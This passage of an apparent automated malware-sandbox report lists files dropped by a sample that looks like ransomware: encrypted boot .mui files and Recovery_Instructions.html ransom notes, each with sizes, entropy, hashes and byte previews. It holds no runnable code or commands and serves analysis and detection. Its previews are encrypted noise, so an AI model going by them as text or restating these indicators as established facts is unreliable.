Size (bytes):	82456
Entropy (8bit):	7.9981658718092135
Encrypted:	true
SSDEEP:	1536:+g4+EQ4h7EbF39n3Iy2uXjSRIRkjpil1U3gRcgY6kidnniMa9:+wEQ2EbF3eE2IRkdI2RjgiMO
MD5:	39DDB198DD1883735D454CE7817169BD
SHA1:	8783BB40C3471917748891059B0E68CBF2F80453
SHA-256:	00C570E780DF01490A4B4F8372D9628B16C547C68C092B288BFA997821C2190F
SHA-512:	7CC6AC6472AC7B65AA3E80F3C0CC662FCA02B14E35C9D50460CF65B138B741EAA2EF4C4D6F5A0EFB5E2916F2C6523A4C1C64769BD94B907BB2B07EDB9C5E9BFB
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{3x\|f...hc..v(bA..z#.[. ......._......W%e...19wL...m.7X&....h..p_.>...M....O...F.n.g.~.)/..C....&.B;O...H.~....~].x06...`.......9.k.x>#I.6& .H5u.A.l.\.'C..;......2].~.~..K..D..../.k..SW...&.V7@-X$....].v.N..@...I.X].6%.;h\...6.LX].h.g..Od..^FN2..D.T.7.M..F=...5o...=.....`..?YY.-%.....z.....<;.k..9..s.K..._'^u.i.....Z.....y...I5.ky:02.m1/..A..........d..:ym..{.9..Z.W....I..h.-j......?Y.KB.....C..7v....t.....:..d..3..{..'..5.$.<.....(.....M.~.....j...6:7[4.c....w.({Po.$@...z....U..O(...`..w..2..QK...B..a.9$.A....].+..<$.#Qd.Y..!....(.....>...gdfF.....Y..a....$.d..r.N.0f...].Q...O...b........\6bJT!\|.8a.&....ZP`aW.Y......\w..\|..lr3.+d..@...>..EO..q...H......)..*];...OO.PDNH.......r..T.

C:\EFI\Microsoft\Boot\pt-PT\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.995606548470388
Encrypted:	true
SSDEEP:	1536:jLW09fyG9Upnt7HzavgjVkFvaon1oxjUZTJDr0334bFYVm:391Z2kFvaaoqT+qqVm
MD5:	4802A22299A3B682934D4CEFED351E9B
SHA1:	23AE06344DEA6B9F571939F45F3E10E43FFBBED5
SHA-256:	201E79FDABF598028EFBD3CFFAEEA378A51DC4D923840025995BD49F7ABDB47B
SHA-512:	87A3E2B251C7BEDCBE2B88E72AD388B2D412A3DAD874D53E2FC7E7B23042D2C7E85E9005FD65E43EBEE531BC42F06221B1CD3E867E31E6F761B4ADFE032782E2
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.H2).!\...\|.(..~u.!.2.....m.@Oi>.[.....Wr.o......cd....N..\|..P...Z.P}..Z"...#m..W....&u..5.....Jv..W....3.7.#x..S(Bj....&...+.+_.....Gv......D.I.%.....+/l..P#..9....vmX.!...`.Y.p...:A...-..@A=...X.".!..u~;...=7......?Q..T.,....b....#`\.._.......$...p.......olD....O..g(u..w........R.tU-...%....:.9a.P..4o.q`O.......W}..-.....;...S!.*.4.U...&nG.Ch...m.G.$.e...J..x515..F..........q>i.c j..S.3.._.../"..tC..... ..?I....... Y.....jLm.....5.......ackOl.....Z.......Q.FmP...\|....Y.j.(i........2h..uf.Hx....L.b...$...PZ..l..k..-......H.F..u..-.p..b...J.G.#1z...d}..w.[D-M...5E.M./a...d6....`.Y.,0..H..0~.s"\|..^#K...%....N#+...g.b<}..=.R.....4XP..5.K.+....(O.s.X.0..-.F...;Px..&Qi.}...1..PsG.h.D....Z.?.......F7.......o\....(.D.i..2r..G..

C:\EFI\Microsoft\Boot\qps-ploc\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	4889
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	96:8y+cAl5azln+DtZogtckSUae47f2m5+DHORCiKMr9JM4oqo:8OAl0z8DjaH4af2mwDHORnKMZJM7
MD5:	A567EDB0841F238E4BE8EF0051BF728C
SHA1:	86FF15C748F292EC0418DD868D4DB505522DBFCF
SHA-256:	AF63FC9A5DC026024951CC157DDAE53E98CEF96E3688993F2A0EB997DA72865D
SHA-512:	948809F614E1C3FE6F2F2B584D2459BF18FBEDACD2B56FC81BAAE866015E6B2CF38C46E6B1F05B761189C8CC46B67B590A20956B5B5CEC1F586795C9C0263542
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\qps-ploc\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	57880
Entropy (8bit):	7.996928378954713
Encrypted:	true
SSDEEP:	1536:mq9aUjPzQojEmoDeV0mdeX58bEgCCS+KDfjSBs7I0EYGCrt:XaUjPM56Hdq8F/S+2me7I0EYGot
MD5:	9A70E56904C48E759D31ADFCD166AE58
SHA1:	DF8EB95D136C39A3AB1D5A4931718578494B86AC
SHA-256:	AE64F307750900BA6BFC57B93ED37CA230C130CC3AD517276147B289F59E5175
SHA-512:	17A6D4381F455CD905557860E3FDFDA2B2E490ECA139369EF535F2FC7E9386AC4D67EA576A0239E8FF3F1982431BEE8C89F89B867D23F400FB9EEB94872EA1AA
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%2[.p.c..,.N.6e.n.@.zJ.~.e..J.E-..qg..y..J.`.v.d:E.r........+.n..@8....aU.....b$.C3jU..O+...%......;...c.Twx.\|.E.u>..!&..]..\|J.[W:`{<....J....p..q.L.7...h..X.M.#........ibkY".NA.3.P.......V.w..........-...F./....[.._..tL...4N.z..O.v.\|.e.E...4..Ro4.W-@s..?...p...Zra.. ..b............(.S.`r.c.g.Y...]..]^.....M.v.Y../.z.......x.`q.eM^....>5.>L?.^.jY.._.....r..w...Ab....r.-..f\e0..~.?...HF..B}i.K=./a.^.Pu.. .l.'..7..._Eu}w...V..&..qV.a.\|..9y.0.E%.R...t..'.$_P...w...Yz....x..E.5..._... ..k)jO......-..<l.'..%.x...@.t.-..n ...fc.5....._...w...Yn...^.;=.=.~C.^K.z..A.V..m..uJ+..q.....fA<.y.\...$."FI....'c..Q4Z.....mV.`.....vYlh..........@...........c.?2.J(..M.i"ne..vIn.).X....9..B...*rE...j.k_P..tBI.....c.3.(.s>..OzT...0......

C:\EFI\Microsoft\Boot\ro-RO\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\ro-RO\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997931242061452
Encrypted:	true
SSDEEP:	1536:o1mGC5WMpA6Nqq7o41dhtg6rU6c/hTJHb1VHjzwUBvJlXYZCv:oIGCswdloSd/Zo6QdJH3jM2xloZCv
MD5:	5D5006B7C1DEAC9F47504594E81F98FB
SHA1:	A0E07DA2F47166A0F08605ED8FCFE43FB6844D27
SHA-256:	03CB7D7929BB8C59C67DB57A0C3A348ADA0889BB872DE9EB5BB966DEDA15EEAE
SHA-512:	7DBF665D0139E7DC7AD00821DDB2F110587D722F42562638A8D50184DB7A85F5967EA7F0D540B50500035225633B527AC6C9632C1B34DB5C560B481275EAEB70
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.6.].D.Oy..4.m..:....k....A2:{.......q....GkLI...."..e;.I..y..='....)B..G.e........K.A.....f.xN...<.^d.=.y.-...9..pFR0.O..3w.d^Yq........8t.TS....W.../.S.......s.S....[f..E...l......B_.E0J..@'...r.uA.].s.......$.d.b%$.F....1(....!..]..s!o...K>..U...2......0.Nq..............Y~...['....)s.c..=.r..Qq.R. .....}.'[i..'.G.B..YJ..K........3n.z..:.}.....\......kO<.<......8(..Tn......,O?....jzUe.=..a..c.1.s...>U....V..J...V[.].0e6..;.....!.../.v.....6=...T~@.'.E......t....`J.u..=...@.2.].G'.Y.h.05fo/.....Z.z...;,.C?_P....3.m..{?,..}[..'.`...7q.. R...&.$...{.&.V.G:..Z_.........4.bR+?......Q.J......E"..{.....\..B\|i&.&M....r...;.{n.o..x`.D...H._.P.j.~......%z.....P.. T......x..-KS7`..P..r._..........5.....:s..)..`]e...8...P.\|...[C.

C:\EFI\Microsoft\Boot\ro-RO\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.9979730302911225
Encrypted:	true
SSDEEP:	1536:TRIx7H0bPL+ra7TRu3CoJ/kvYyvoz/ERD/1lGGSmoDvdY/vs1UWkxqv0lGVvxKdB:TG7H0bz6aHBI8vYF/ADiGSmoBY/U1hEr
MD5:	A0FA40996EFB0F0071A4EF046B5B0327
SHA1:	3B553D8F307904C07544EBB78FF636927485057A
SHA-256:	432B32DDAF153D618DFAAA0374762271F5FB49A9CE3005D2F1A146E9F09D7350
SHA-512:	0AFB47F2F1C3F75211543CD2F2675C6723A9D2883CFDD02C9320E3015321AA67D8750684C84D8686D417DC08BD742DBB4B134E5C73EE96450ECFC4BB94B52161
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%.6.].D.Oy..4.m..:....k....A2:{.......q....G.>F..3T.....\|.%.{..&......G.[...........3..#.,.....$~....Y.C=..y]@?xE.%..aB.r.%]'.`)1.P8:.v~.W.bc..t.@.g.I..z?.!.b....(.g...Ir....eF"._8.(.H.....Dl.%.C-......R........J....X...}6.WQ=.-u..".......Oh.....<.C.G-..rP.E..T ..:.{Mg.[Y......'.."-5.[.g.(F.U,...w5].....U....~!;.7@N...'^53....t.v....A....yWhk......&..C.0v......Yqe./.Es..d...$..El.}i....!L.dT.p.nQ.!....(1T3......7.h.....Q+..o..%.rp.qhh..C.p.yu&xrl.c`.x.. .h...-^(..`U..B....^...v....i...;..e}#.ia.....,.....O...b..Q7..b..]...D....6.........e.Nx.9.EU8..../O..t ...fy.O5f.....^.\|.LL...:..fl.=9B...~....6..g....^......D.....'....&h..x~..,.o....l.}[z'.\|...;.6W.V..1 ...m..$.?....c..d..Ol..z.j..Yr1.n..\.n...K..]......!S.d.Q..F\|..... .43

C:\EFI\Microsoft\Boot\ru-RU\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	14667
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8Djz:kFD8LNw6QO9FD8LNw6QO9FD8LNw6QOo
MD5:	E907E2E8796F72E450EEAA65932B78E3
SHA1:	CF51CE381DF34353DF4276426DE9A05E2184746B
SHA-256:	33ED124498A534195FDAFAF4927CD942AA9FAB8DDE2E49F0218DBB5DF52CDD13
SHA-512:	9B0580E100BB69CD50D4B1DF5DB67E15E6ECB6869BAFE1E629C7EF98F0EE6FF1C43A806DE0FF12E9E38D75601502B6F7E3C09E4CD8F2BAC76F02D12FE548671D
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\ru-RU\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997536185775604
Encrypted:	true
SSDEEP:	1536:55QR4rKIqjco04th277N1saX7At6zoaoW1KyzPgDfZOSXocyRE:55QRqRqwo0Qod1sk8GoaomPgAS4nE
MD5:	498926C82F496FF55EC98CF47E2EE3D7
SHA1:	B763640E9F3E324996EC4BA48923A93F0C4D320D
SHA-256:	89C57D64AE76F66EA56F0C1A6E3DBB438DCC6F073B9381938829A22B99A7672E
SHA-512:	57332792292E3D4FAC54BE9E760B4EB60C5135D16B46DC1446643F3C44778AD736EB5993D9E31DAE36D971B389F4D5EB388A497157A721AE659BD4EDD4B13DCA
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{q......@.F0..,....Yo.T..!.2.v..^a..u...$P...Uq;.....C.8.<;t.N....r.....<.h.......<....P..bc?..lV.Z...-.k...4....Z..<.[.i..B.@.W..7.4..yQ..N4...:...Yv..A...\..X..L59..&.s..U....RX..............=#....0d.8.L....(......3.x.o..KK.D$.pJr..}x.I...`P^+.1R/..fPJ..C.^..../~.R...W.".\|....G.P..r'...}..jj.D..C.!-........AxR(..=...L..4...].M..... ..H5.O.a.,......;...]........g#T...:.A......k."...JR..;.j..Z.<.i7M.7..?.e.!=..H<H..HRm.z..M6(.Nb....~%.o.....#.._...4'..9t..".-6.k.....v(...j.f.q.E.y.z..C.H.dB.GI..C.n.r....Ghi=.6..P......?\..)v0`C...s...m.n.F......J.\. ..a.......~...8 .....q<..+t.}...n)....?D..B.r...%..l9.tC.a.se6Y.u..........h........,..5....1..o).T...I..[.Z...A./..](.....U....JA{.#

C:\EFI\Microsoft\Boot\ru-RU\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997564297549943
Encrypted:	true
SSDEEP:	1536:v6rbCRMKxJyjIkiNsp8qFg50dcUnrKMIzmN4y6Z5KzxnTA:ir2RMKkus55m+KTu4y6Im
MD5:	8D2AC95447F148DF7ABE5F6014402DC1
SHA1:	DBD4E40782970DFAACE5E34965188B41BEBB2ADA
SHA-256:	5D748BD231FE3586BDAB6A946130055D61F51316CB26BDED7216C833D75C05B9
SHA-512:	91C9B5990622918413F28CB7CA5B0E19991C86EDBC20BDDBCEDBC5B5B5C56EBC03CDC2228EA257D76CE84439EB7A0EA95AD9D895B2CC33D66A4CDE38F48E3B08
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%t....n......l.....E..r/,,$u.{.....m..K;.,.J{t.PR..E..WR..d...]&WAj.i....+.^[2......4.[...{..M.N?...F.&hW.......2...n....S.....$.^.O..... ..<.0.jd.u.....72....9.F........g["@.....uT./....xO.U..oT...n..c....m>.Wd.b....b..d2./@e..w...A.......:.w.i...N.1....ap.j>.u~G..<H..Y....C.......xQ.1...I=h\D.Z..PT.}v&Q..&."W.q.-....P_.Z...w)..&.W........e........l..`4a.k\7qL.....).....>..&.?.+.{bD...\|yp.@.2a.1...S.}...l......qJ..~.........b..iZ`AG...oS....o2....+..me#G.Ez.....4Y..E...`...B...=.i. ,mt..\|F.jU......8....E.N.C.0..Y.;...e..<U....WXv.k.P....%.p..0:/....).;S..".:..:..D...e{T..\|....y...#J.i....jL..W.s..?1.....e.l..`G.qg.......AG.x{..p..X..x..yM.......;...S.j..Ki5.s.....:Tv......=.....a.r}.\.......FM.8=.;$.p..$....$b..qL.

C:\EFI\Microsoft\Boot\ru-RU\memtest.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	49688
Entropy (8bit):	7.996165147772921
Encrypted:	true
SSDEEP:	768:R7XmotLIamyLrjkJ5BpAxhWpTrDf35hnNRyxCrWmp4DQTOsbfLsidr3HuPz:R7XmoRFLrjSHPXRxN6KbpuQakD1QL
MD5:	1892E79B180914CB7AB61B0A39B2E3E5
SHA1:	3308A47E27083B40A03CF0390B3C59D628577C44
SHA-256:	B31C4B1EAA8BC7F57482BD85242A55A906929AD831A479DF91DA90428DD93DB3
SHA-512:	2361B2926D9CCBCB6B1F5C069A0A75DF9E5FFC8F5573D5248C810CF2C651843E79A030F727EC4FD750314D57B14F954F78F0E20355291ED397553BC3BF49140D
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%@.%..w....\|6&yT.j$..CO....-.....E...<Rk.WC...s...2.QP....,>nO?.)..........Mx....{u.a..+/%.a.d.z....@....C...OO.;sd.....R...I..k(v..h.D....H/W.T..;C......q.>..~...t...L..7.SJ./.^..{&!.'.-I}%.....]I.f...+![....I.~..W.q]i.)..2U.yx..v....j.........J.....mB....>3......8..$B...O:...Y^6n...o\59.A....r....v.rL~..OO..@...V..t....3S...d..>Z1t.d.!.......K.i.L3.-..rz.Y<...M+w..FS.'..\5"`.-...~.V.S,...p-.!.x.C.z~.d)...7......r`..........,..L6..T.w........:o.p9'.-.Q.!..R.[..V.v./%.?..4?../7..K'......9.......7.]t.y.n7..B..L.../!biD....g.Y......:O.(........(..r*....CT.T....5...g,H..%...l.1K.@o.CvOU.V.B"...RJ....{.uR .2..\y5jTY..!..z;.]};.dI.sV..y..O,.2S..,.....G..n..^w.......U....l.D....D.....B.............$.K.............G.....F.....$..@..sm

C:\EFI\Microsoft\Boot\sk-SK\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\sk-SK\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997996666223695
Encrypted:	true
SSDEEP:	1536:f41gqtEyA71HWulmwTSMgwcUUSKMGjzpzhrR8MYk2iIDBPR/OYfil5/:fY7tRA7pWxwTSMiUUrMGjv9ZLqjeN
MD5:	52D7B70EB14F167CC3CCC242A54488C3
SHA1:	74DBF49B14CD325B2A4597B0E537766B56E8F7F9
SHA-256:	CB7E81A4567C113D55D713A8D13609F43DBD6AEFA9A843C5060CC7EDB3987748
SHA-512:	700C474C289F8EB8A580315EC56E26DCBD0DF721A320948D30BCFD5D87B6E213A9880AE49BD32B157DF7BC8C4636F5EE6BCFE4F6CF90F68E7C1B08AE07A4D6DF
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V.......'....\|....)...@..T.......7.tiN ..v......v.Ctz.8...h.....n.3...wK.n.a%.6.e...naG.<...C.5.._.a.Ex.e...J ./x..R0n.....UDyz.O..M..4..[2?b.P.1.u..B...=.....5.j.k.$....>..O<.P...U,.....B....&.$.N.XL.y.#.%........X......^.).u....1.=Vnj%..._4...m'U ...}.....D7...5...5/.A....lGgb.Z..s.!%..!.fQ...$..B..<.,.D.!u+.e..r.A....{....".G.....y....,].o./;..i..-........,q".e..M...zg[w.Aw..po..(.L.p.Q.~.... .h...a.I...DjL.aE.r#G...5G..-.O.J:g....O....:y....]M.....hqjy.D..U....^......}{aD....H..4.DVr...F.>^....x.._.T.O.F.{.'.>.m.J.Y..gJ..._E.h..:...Lmv-.....7.M._r...)%!4...{.3/....'.".....)..I...+L.LkIQ{.nU@...5..q6..z........~7uC5..2h.....V@M(./...d.#.......Q.c.R.@(.....B.."V..h..>V..O....-...X.j .Be

C:\EFI\Microsoft\Boot\sk-SK\bootmgr.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997858310404837
Encrypted:	true
SSDEEP:	1536:cSBpiElrfYADffEpO6kKBu2KKFdwU2ct7/6f5gnF/PUo5EInIEOxNgli28MbIyib:cgiEpfvQRkKBcKF6Uht+xguo5aTglYBb
MD5:	0CCA7F442773854DA555128F2A760298
SHA1:	BE915B84BFA574039ABCC591A727C7A72F669B2D
SHA-256:	3DD647912A6A9BF29D03F2BD6688DCD8E586AC9C3B80F574B831AC2DD799B3B4
SHA-512:	F9EA3263150AC0B9AC10102324E7C705CD176955C074FE9B4F8B9DD12CC6EAAA3A87387963F6440247901890CD28DC734ACF645927546F1B016A56B51FDDDCA5
Malicious:	true
Preview:	...I}.1!.L....>l?.%...0.h8m.3....S.)..t@Ys..w.L.K$.O....>.mj..z.........f.3.^..%&.1FIU.j...u..Zz.......wt=v...lN...?.Km.;....qlk...TG...WJHS.._u...T...]e..H?7. .?..7..'sjs..N.'.....w..U....?..^.t.....I.n.}.%D.....].(7.n.B.!.DD,.. ^.fP...(5.#<d.um\N.V.....Vl..ghE......r.R5..S..........\|.......U.P....v..g\..Z...f..../:..].a.1..a...Z.....6..)@./A....a.2'.b%..%.../\.."k.t..U3......+.(...>f. ..J}_.~...[....g..s..O....g."....>DX6.m..2.....s......F.Q.M..[K.Q...pDY..}CKX.I..sU."q.Y......Sk...7..Q3./d......J.8o..)../.=T$`...F.l..a....H-@.;....../....z.G.VO.f.H..#.e......A%\|...}.p...E.........W\......Y.....QA..\......[..-..q3.m..3;.MK.p..@g}...k.zo..u.....V.._z..vDr....m.y.......R..G..-{...4j.v.L.L.r.H. %0..u..Z,..s.F.SkKA...-..n.UG..\|.5=.\..53F..da5h=p6...VM...L..~....\|...{..W.JJ..q4..........I.....Z2...R..W.6..T`/..\.....Q.TN...?n....FN.?e..w.l....Q18 ...n....b@Wt..s...3.9...9=..4}..uZ.[....zT...R...S.Y"...xVZ...m..a.?DF}.Wh...`I..

C:\EFI\Microsoft\Boot\sl-SI\Recovery_Instructions.html Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	9778
Entropy (8bit):	5.515899243796794
Encrypted:	false
SSDEEP:	192:8OAl0z8DjaH4af2mwDHORnKMZJM4OAl0z8DjaH4af2mwDHORnKMZJM7:kFD8LNw6QO9FD8LNw6QOo
MD5:	B8C51A0AA875AAA944F10179088D8EA7
SHA1:	6C9E099B9102048012B50235AEDC1069ECDC2351
SHA-256:	183E26B8028F4AAC29F174234FAF7AED7FBAF0D14A30C246B3117579E4E8E254
SHA-512:	72A826E2808782237FCDB049D73A91FDE875E0F77BD34CDD633ABE261F7453BE3D9EC3811770755767EBDCA151640FD673769D70859AF4A75211817822F48561
Malicious:	false
Preview:	<html>. <style type="text/css">.. body {. background-color: #f5f5f5;. }..h1, h3{. text-align: center;. text-transform: uppercase;. font-weight: normal;.}.../---/..tabs1{. display: block;. margin: auto;.}..tabs1 .head{. text-align: center;. float: top;. padding: 0px;. text-transform: uppercase;. font-weight: normal;. display: block;. background: #81bef7;. color: #DF0101;. font-size: 30px;.}...tabs1 .identi {. font-size: 10px;. text-align: center;. float: top;. padding: 15px;. display: block;. background: #81bef7;. color: #DFDFDF;.}....tabs .content {. background: #f5f5f5;. /text-align: center;/. color: #000000;. padding: 25px 15px;. font-size: 15px;. font-weight: 400;. line-height: 20px; }. .tabs .content a {. color: #df0130;. font-size: 23px;. font-style: italic;. text-decoration: none;. line-height: 35px; }....tabs .content .text{.padding: 25px;.line-height: 1.2;.}... </style>...

C:\EFI\Microsoft\Boot\sl-SI\bootmgfw.efi.mui Download File
Process:	C:\Users\user\Desktop\f6ifQ0POml.exe
File Type:	data
Category:	dropped
Size (bytes):	82456
Entropy (8bit):	7.997437551961605
Encrypted:	true
SSDEEP:	1536:uNw/NtfXm7QpY+zjCa3Y4Lb+gbtKDwaNFBZkxnWzcDXd7oKN:uNAzWQpYEm4LKg6w4FBtKN
